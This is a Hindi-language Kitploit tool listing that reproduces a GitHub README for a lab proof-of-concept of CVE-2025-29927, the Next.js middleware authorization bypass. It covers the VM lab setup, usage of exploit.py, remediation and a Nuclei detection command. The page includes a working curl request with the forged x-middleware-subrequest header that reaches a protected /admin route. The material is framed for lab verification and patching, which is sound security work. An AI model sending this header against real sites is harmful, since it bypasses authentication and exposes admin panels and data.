Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-29927-PoC — CVE-2025-29927 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Next.js मिडलवेयर प्राधिकरण बायपास है। इसमें एक कमजोर टारगेट लैब और Python स्क्रिप्ट शामिल है, जो क्राफ्टेड x-middleware-subrequest हेडर भेजकर बायपास को सत्यापित करती है। | Kitploit
उपकरण/GitHubGitHub/ritinify/cve-2025-29927-poc
शोषणवेब एप्लिकेशन शोषणCTFपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubritinify/cve-2025-29927-poc

CVE-2025-29927-PoC

CVE-2025-29927 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Next.js मिडलवेयर प्राधिकरण बायपास है। इसमें एक कमजोर टारगेट लैब और Python स्क्रिप्ट शामिल है, जो क्राफ्टेड x-middleware-subrequest हेडर भेजकर बायपास को सत्यापित करती है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
रिपॉजिटरी देखें
10घं 33मि पहलेअभी तक समीक्षित नहीं
साझा करें

CVE-2025-29927 — Next.js Middleware प्राधिकरण बायपास सत्यापन PoC

एक स्थानीय प्राधिकरण लैब (VMware: Ubuntu टारगेट मशीन + Kali अटैक मशीन) पर CVE-2025-29927 (Next.js Middleware Authorization Bypass) सत्यापित करने के लिए एक छोटा GitHub प्रोजेक्ट।

⚠️ अस्वीकरण: यह प्रोजेक्ट केवल सुरक्षा शिक्षा, CTF और आपके अपने/स्पष्ट रूप से अधिकृत लैब वातावरण के लिए है। किसी भी अनधिकृत सिस्टम पर उपयोग सख्त वर्जित है। इस प्रोजेक्ट के दुरुपयोग से होने वाले परिणामों की जिम्मेदारी उपयोगकर्ता की होगी।


📋 सामग्री

  • 1. भेद्यता फ़ाइल
  • 2. भेद्यता सिद्धांत (30 सेकंड में समझें)
  • 3. रिपॉजिटरी संरचना
  • 4. लैब टोपोलॉजी (VMware दो वर्चुअल मशीनें)
  • 5. टारगेट मशीन सेटअप (Ubuntu 24.04)
  • 6. अटैक मशीन तैयारी (Kali)
  • 7. स्थानीय सत्यापन (मुख्य चरण)
  • 8. PoC पैरामीटर विवरण
  • 9. टारगेट मशीन के बिना त्वरित स्व-परीक्षण (वैकल्पिक)
  • 10. सुधार और पहचान
  • 11. सामान्य प्रश्न FAQ
  • 12. संदर्भ सामग्री

  • 1. भेद्यता फ़ाइल

    आइटमविवरण
    CVECVE-2025-29927
    सार्वजनिक तिथि2025-03-25 (Next.js आधिकारिक सुरक्षा बुलेटिन)
    प्रभावित घटकVercel Next.js (Node.js फुल-स्टैक फ्रेमवर्क)
    भेद्यता प्रकारप्राधिकरण बायपास / Improper Authorization (CWE-863)
    प्रभावित संस्करण< 12.3.5、< 13.5.9、< 14.2.25、< 15.2.3
    सुधार संस्करण12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 और उससे ऊपर
    खतरा स्तरCritical / उच्च जोखिम (विशिष्ट स्कोर NVD पेज देखें)

    भेद्यता सामने आने के बाद बड़ी संख्या में प्रोडक्शन एडमिन पैनल, पेमेंट कॉलबैक और आंतरिक पेज API बायपास हो गए। Metasploit और ProjectDiscovery Nuclei दोनों ने डिटेक्शन मॉड्यूल शामिल किए हैं, जो 2025 के सबसे प्रतिनिधि "फ्रेमवर्क-स्तरीय प्राधिकरण बायपास" भेद्यताओं में से एक है।


    2. भेद्यता सिद्धांत (30 सेकंड में समझें)

    Next.js "प्रमाणीकरण लॉजिक" को middleware (मिडलवेयर) में लिखने की अनुमति देता है, उदाहरण के लिए:

    root@kitploit:~
    export function middleware(request) {
      if (!isLogin(request)) return NextResponse.redirect("/login"); // लॉगिन नहीं → रोकें
      return NextResponse.next();
    }
    

    समस्या यह है कि Next.js आंतरिक रूप से एक क्लाइंट द्वारा जाली बनाए जा सकने वाले रिक्वेस्ट हेडर पर निर्भर करता है ताकि यह निर्धारित किया जा सके कि "क्या यह रिक्वेस्ट पहले ही मिडलवेयर निष्पादित कर चुका है":

    root@kitploit:~
    x-middleware-subrequest: middleware
    

    प्रभावित संस्करणों में, जब तक बाहरी रिक्वेस्ट इस आंतरिक हेडर को ले जाती है, Next.js गलती से मान लेता है कि मिडलवेयर पहले ही चल चुका है, इसलिए पूरा प्रमाणीकरण मिडलवेयर स्किप हो जाता है। हमलावर को किसी खाते की आवश्यकता नहीं होती, बस इस हेडर के साथ /admin जैसे संरक्षित रूट तक पहुंचने पर सीधे 200 मिलता है — जबकि पेज स्वयं आमतौर पर मिडलवेयर पर भरोसा करता है और दोबारा सत्यापन नहीं करता, इस प्रकार प्राधिकरण जांच विफल हो जाती है (ट्रस्ट बाउंड्री त्रुटि)।

    💡 सार्वजनिक शोषण में सबसे सामान्य मान मिडलवेयर पथ को बार-बार जोड़ने का रूप है, उदाहरण के लिए middleware:middleware:middleware:middleware:middleware; एकल middleware कुछ संस्करणों/निर्देशिका संरचनाओं में काम नहीं करता (इस लैब में 14.2.24 पर परीक्षण किया गया)। यह PoC कई उम्मीदवार मानों को पोल करेगा, किसी एक के हिट होने पर बायपास सफल होगा।


    3. रिपॉजिटरी संरचना

    root@kitploit:~
    CVE-2025-29927-PoC/
    ├── README.md                 # यह दस्तावेज़ (भेद्यता विवरण + VMware लैब ट्यूटोरियल)
    ├── LICENSE                   # MIT
    ├── .gitignore
    ├── exploit.py                # ★ Python3 शुद्ध मानक लाइब्रेरी सत्यापन PoC (Kali/किसी भी मशीन पर चलाएं)
    ├── target/                   # ★ स्व-निर्मित भेद्यता लैब (Ubuntu टारगेट मशीन पर कॉपी करें)
    │   ├── package.json          #   [email protected] लॉक (प्रभावित संस्करण)
    │   ├── middleware.js         #   वास्तविक प्रोडक्शन "प्रमाणीकरण मिडलवेयर" का अनुकरण
    │   ├── pages/
    │   │   ├── index.js          #   होम पेज
    │   │   ├── login.js          #   लॉगिन पेज (प्रदर्शन के लिए यहां रीडायरेक्ट होता है)
    │   │   └── admin.js          #   ★ संरक्षित एडमिन पैनल, सर्वर-साइड flag.txt पढ़ता है
    │   ├── flag.txt              #   लैब फ्लैग: FLAG{...}
    │   ├── setup.sh              #   टारगेट मशीन पर एक-क्लिक Node 20 + npm install + build
    │   └── start.sh              #   प्रोडक्शन मोड में 0.0.0.0:3000 पर सुनें
    └── tests/
        └── mock_target.py        #   Node-मुक्त सिम्युलेटेड टारगेट (केवल डेवलपमेंट स्व-परीक्षण के लिए)
    

    4. लैब टोपोलॉजी (VMware दो वर्चुअल मशीनें)

    root@kitploit:~
    ┌───────────────────────────────────────────────────────────┐
    │ VMware Workstation Pro 17 (होस्ट: Windows)                 │
    │ नेटवर्क: NAT (डिफ़ॉल्ट VMnet8), दोनों VM एक ही सबनेट, पिंग कर सकते हैं │
    │                                                           │
    │   ┌──────────────────┐        ┌─────────────────────┐     │
    │   │ टारगेट Ubuntu 24.04 │        │ अटैक Kali Linux   │     │
    │   │                  │  http   │                     │     │
    │   │  Node 20 + Next  │◄───────│  python3 exploit.py  │     │
    │   │  14.2.24 :3000   │  GET    │                     │     │
    │   └──────────────────┘        └─────────────────────┘     │
    │   IP: <TARGET_IP>              IP: <ATTACKER_IP>          │
    └───────────────────────────────────────────────────────────┘
    

    4.1 डाउनलोड करने योग्य चीज़ें

    उद्देश्यइमेज/सॉफ्टवेयरअनुशंसित संस्करण
    वर्चुअल मशीन सॉफ्टवेयरVMware Workstation Pro 17 (व्यक्तिगत उपयोग के लिए निःशुल्क)17.x
    टारगेट मशीन इमेजUbuntu Server LTS ISO24.04.x
    अटैक मशीनKali Linux (आधिकारिक VMware प्रीसेट इमेज या ISO इंस्टॉल)2025.x
    (वैकल्पिक)होस्ट मशीन पर 8 GB से अधिक RAM, 50 GB से अधिक डिस्क—

    4.2 सामान्य वर्चुअल मशीन कॉन्फ़िगरेशन

    1. दोनों VM को 2 vCPU / 4 GB RAM / 40 GB डिस्क आवंटित करें;
    2. नेटवर्क एडेप्टर दोनों के लिए NAT चुनें (एक ही सबनेट में संचार सुनिश्चित करें), केवल सीखने के लिए ब्रिज न खोलें;
    3. Ubuntu इंस्टॉल करते समय OpenSSH server चुनें (होस्ट से SSH द्वारा फ़ाइल कॉपी करना आसान);
    4. सिस्टम इंस्टॉल करने और इंटरनेट कनेक्शन की पुष्टि के बाद, एक स्वच्छ स्नैपशॉट लें, ताकि लैब को बार-बार आसानी से खोला जा सके।

    5. टारगेट मशीन सेटअप (Ubuntu 24.04)

    निम्नलिखित चरण सभी Ubuntu टारगेट मशीन पर निष्पादित करें।

    5.1 प्रोजेक्ट कोड को टारगेट मशीन पर लाएं (दो में से एक चुनें)

    root@kitploit:~
    # तरीका A: प्रोजेक्ट को अपने GitHub पर पुश करके clone करें (अनुशंसित, GitHub पर पुश करना हो तो यही उपयोग करें)
    git clone https://github.com/<आपका उपयोगकर्ता नाम>/CVE-2025-29927-PoC.git
    cd CVE-2025-29927-PoC
    
    # तरीका B: होस्ट से scp करें
    # scp -r CVE-2025-29927-PoC  ubuntu@<TARGET_IP>:~/
    

    5.2 एक-क्लिक निर्भरता इंस्टॉल और भेद्यता ऐप बिल्ड

    root@kitploit:~
    cd CVE-2025-29927-PoC/target
    sudo bash setup.sh        # Node 20(LTS) + npm install + next build इंस्टॉल करें
    

    setup.sh आंतरिक रूप से करता है: apt अपडेट → curl/CA/build टूल इंस्टॉल → NodeSource से Node.js 20 LTS इंस्टॉल → npm install ([email protected] आदि निर्भरताएं लाएं) → npm run build।

    5.3 भेद्यता ऐप शुरू करें (प्रोडक्शन मोड, पोर्ट 3000)

    root@kitploit:~
    bash start.sh
    # "▲ Next.js 14.2.24" और "Local: http://0.0.0.0:3000" दिखे तो सफल
    

    एक और टर्मिनल खोलकर पहले स्थानीय स्मोक टेस्ट करें:

    root@kitploit:~
    curl -s http://127.0.0.1:3000            # होम पेज, 200
    curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:3000/admin
    # अपेक्षित आउटपुट 307 —— बिना कुकी के middleware द्वारा रोका गया (प्रमाणीकरण सामान्य रूप से काम कर रहा है)
    curl -s http://127.0.0.1:3000/admin      # body देखें, रीडायरेक्ट के बाद लॉगिन पेज की सामग्री होनी चाहिए
    

    टारगेट मशीन फ़ायरवॉल डिफ़ॉल्ट रूप से इनबाउंड को नहीं रोकता; यदि आपने ufw चालू किया है: sudo ufw allow 3000/tcp।


    6. अटैक मशीन तैयारी (Kali)

    root@kitploit:~
    sudo apt update
    python3 --version          # Kali में Python3 पहले से है, कोई अतिरिक्त निर्भरता नहीं (PoC शुद्ध मानक लाइब्रेरी)
    ip -4 addr show            # Kali का IP नोट करें (जैसे 192.168.x.xxx)
    

    exploit.py को Kali पर लाएं (उसी रिपॉजिटरी का clone, या scp द्वारा एकल फ़ाइल), फिर पहले दोनों VM की कनेक्टिविटी सुनिश्चित करें:

    root@kitploit:~
    ping <TARGET_IP>           # चले तो ↓
    curl -s -o /dev/null -w "%{http_code}\n" http://<TARGET_IP>:3000   # 200 आउटपुट होना चाहिए
    

    7. स्थानीय सत्यापन (मुख्य चरण)

    Kali अटैक मशीन पर निष्पादित करें:

    root@kitploit:~
    python3 exploit.py -u http://<TARGET_IP>:3000
    

    अपेक्षित आउटपुट

    root@kitploit:~
    [1/3] बेसलाइन जांच   GET /admin (कोई विशेष हेडर नहीं)
          └─ स्थिति कोड 307 —— middleware द्वारा सामान्य रूप से रोका गया ✓ (भेद्यता वातावरण तैयार)
    
    [2/3] बायपास प्रयास   x-middleware-subrequest: <उम्मीदवार मान पोल>
          └─ हेडर मान='middleware:middleware:middleware:middleware:middleware' स्थिति कोड 200 —— बायपास सफल! मिडलवेयर स्किप हो गया ✓
    
    [3/3] परिणाम निकालना
          └─ एडमिन पेज ने सर्वर-साइड flag.txt पढ़ा:
             FLAG{cve-2025-29927-lab-ok}
    
    [+] निष्कर्ष: VULNERABLE —— CVE-2025-29927 प्राधिकरण बायपास सत्यापन सफल
    

    मुख्य निर्णय: एक ही URL, बिना विशेष हेडर के 307 द्वारा रोका जाता है, x-middleware-subrequest के साथ सीधे 200 मिलकर एडमिन पैनल तक पहुंचता है — एक पूर्ण "प्रमाणीकरण मिडलवेयर बायपास" सत्यापन लूप।

    curl से पुनरुत्पादन (स्क्रीनशॉट के लिए सुविधाजनक)

    root@kitploit:~
    # ① बेसलाइन: 307 वापस आना चाहिए (/login पर रीडायरेक्ट)
    curl -i http://<TARGET_IP>:3000/admin | head -n 10
    
    # ② शोषण: 200 वापस आना चाहिए और FLAG{...} शामिल होना चाहिए
    curl -i -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
         http://<TARGET_IP>:3000/admin | head -n 30
    

    📌 परीक्षण नोट: इस लैब (Next 14.2.24 + रूट डायरेक्ट्री middleware.js) में, 5-गुना मान middleware:middleware:middleware:middleware:middleware प्रभावी है, एकल middleware प्रभावी नहीं है। curl से मैन्युअल परीक्षण के लिए ऊपर दिया 5-गुना मान उपयोग करें; अनिश्चितता होने पर exploit.py चलाएं (उम्मीदवार मानों का स्वचालित पोल)।


    8. PoC पैरामीटर विवरण

    root@kitploit:~
    usage: exploit.py [-h] -u URL [--path PATH] [--timeout SECONDS]
                      [--delay SECONDS] [--insecure] [--verbose]
    
      -u, --url URL        लक्ष्य पता, जैसे http://192.168.162.10:3000
      --path PATH          संरक्षित पथ, डिफ़ॉल्ट /admin
      --timeout SECONDS    एकल रिक्वेस्ट टाइमआउट, डिफ़ॉल्ट 10
      --delay SECONDS      हेडर उम्मीदवार मानों के पोल के बीच अंतराल, डिफ़ॉल्ट 0
      --insecure           HTTPS प्रमाणपत्र सत्यापन छोड़ें
      --verbose            प्रत्येक उम्मीदवार हेडर का रिस्पॉन्स स्थिति प्रिंट करें, डिबगिंग के लिए
    
    एग्जिट कोड: 0 = भेद्यता सत्यापित; 1 = लक्ष्य प्रभावित नहीं/सभी रिक्वेस्ट विफल; 2 = पैरामीटर या पर्यावरण त्रुटि
    

    9. टारगेट मशीन के बिना त्वरित स्व-परीक्षण (वैकल्पिक)

    VMware न हो/पहले Node इंस्टॉल न करना चाहें, तो रिपॉजिटरी में शामिल सिम्युलेटेड टारगेट से PoC लॉजिक पहले चला सकते हैं (होस्ट पर केवल Python3 चाहिए, "307 इंटरसेप्ट / विशेष हेडर के साथ 200" व्यवहार का अनुकरण):

    root@kitploit:~
    # टर्मिनल 1: सिम्युलेटेड टारगेट शुरू करें (127.0.0.1:8123 पर सुनें)
    python3 tests/mock_target.py
    
    # टर्मिनल 2: सत्यापन
    python3 exploit.py -u http://127.0.0.1:8123
    # अपेक्षित: VULNERABLE और FLAG{mock-bypass-ok} आउटपुट
    

    नोट: सिम्युलेटर केवल स्क्रिप्ट लॉजिक के स्व-परीक्षण के लिए है; आधिकारिक सत्यापन कृपया धारा 5 और 6 के वास्तविक लैब पर करें।


    10. सुधार और पहचान

    सुधार

    1. Next.js अपग्रेड करें: npm i [email protected] (या 15.2.3+ / संबंधित नया संस्करण), फिर से build और डिप्लॉय करें;
    2. आर्किटेक्चर सुझाव: प्राधिकरण को केवल middleware पर निर्भर रक्षा पंक्ति न बनाएं — महत्वपूर्ण रूट्स पर getServerSideProps / Route Handler / बैकएंड API में दोबारा पहचान सत्यापन करें;
    3. रिवर्स प्रॉक्सी/CDN/WAF परत पर सभी इनबाउंड x-middleware-subrequest हेडर को हटा दें।

    पहचान (अपग्रेड से पहले मौजूदा सिस्टम की जांच)

    root@kitploit:~
    # Nuclei आधिकारिक टेम्पलेट
    nuclei -u http://<TARGET_IP>:3000 -t http/cves/2025/CVE-2025-29927.yaml
    

    अपग्रेड के बाद इस PoC को फिर से चलाएं, "लक्ष्य प्रभावित नहीं" आउटपुट होना चाहिए — यही सुधार से पहले/बाद की तुलना की स्वीकृति विधि है।


    11. सामान्य प्रश्न FAQ

    समस्याकारण / समाधान
    next start पोर्ट व्यस्त बताता हैlsof -i :3000 से व्यस्त प्रोसेस ढूंढें, या -p 3001 उपयोग करें
    curl http://<TARGET_IP>:3000 कनेक्ट नहीं होतादोनों VM एक ही NAT सबनेट में नहीं हैं; VMware नेटवर्क एडेप्टर दोनों NAT हैं यह जांचें, ip a से सबनेट पुष्टि करें
    /admin बेसलाइन ही 200 हैmiddleware प्रभावी नहीं: middleware.js target/ रूट में है और setup.sh बिल्ड सफल हुआ यह सुनिश्चित करें
    बायपास हेडर आज़माया फिर भी 307विभिन्न संस्करण/निर्देशिका संरचना में प्रभावी मान अलग होता है: पहले python3 exploit.py --verbose चलाकर पोल परिणाम देखें; curl मैन्युअल परीक्षण के लिए 5-गुना मान middleware:middleware:middleware:middleware:middleware उपयोग करें
    Kali Ubuntu को पिंग नहीं कर पाताVMware NAT में डिफ़ॉल्ट रूप से संचार होता है; फिर भी न हो तो दोनों मशीनों के फ़ायरवॉल और स्नैपशॉट रिस्टोर जांचें
    दूसरा Next संस्करण सत्यापित करना चाहते हैंtarget/package.json में next संस्करण बदलकर npm install && npm run build फिर से चलाएं

    12. संदर्भ सामग्री

    • NVD प्रविष्टि: CVE-2025-29927
    • Next.js आधिकारिक सुरक्षा बुलेटिन (2025-03-25)
    • Metasploit डिटेक्शन मॉड्यूल PR (rapid7/metasploit-framework)
    • Nuclei आधिकारिक टेम्पलेट: CVE-2025-29927.yaml
    • संदर्भ पुनरुत्पादन प्रोजेक्ट: lirantal/vulnerable-nextjs-14-CVE-2025-29927
    टूल डाउनलोड करें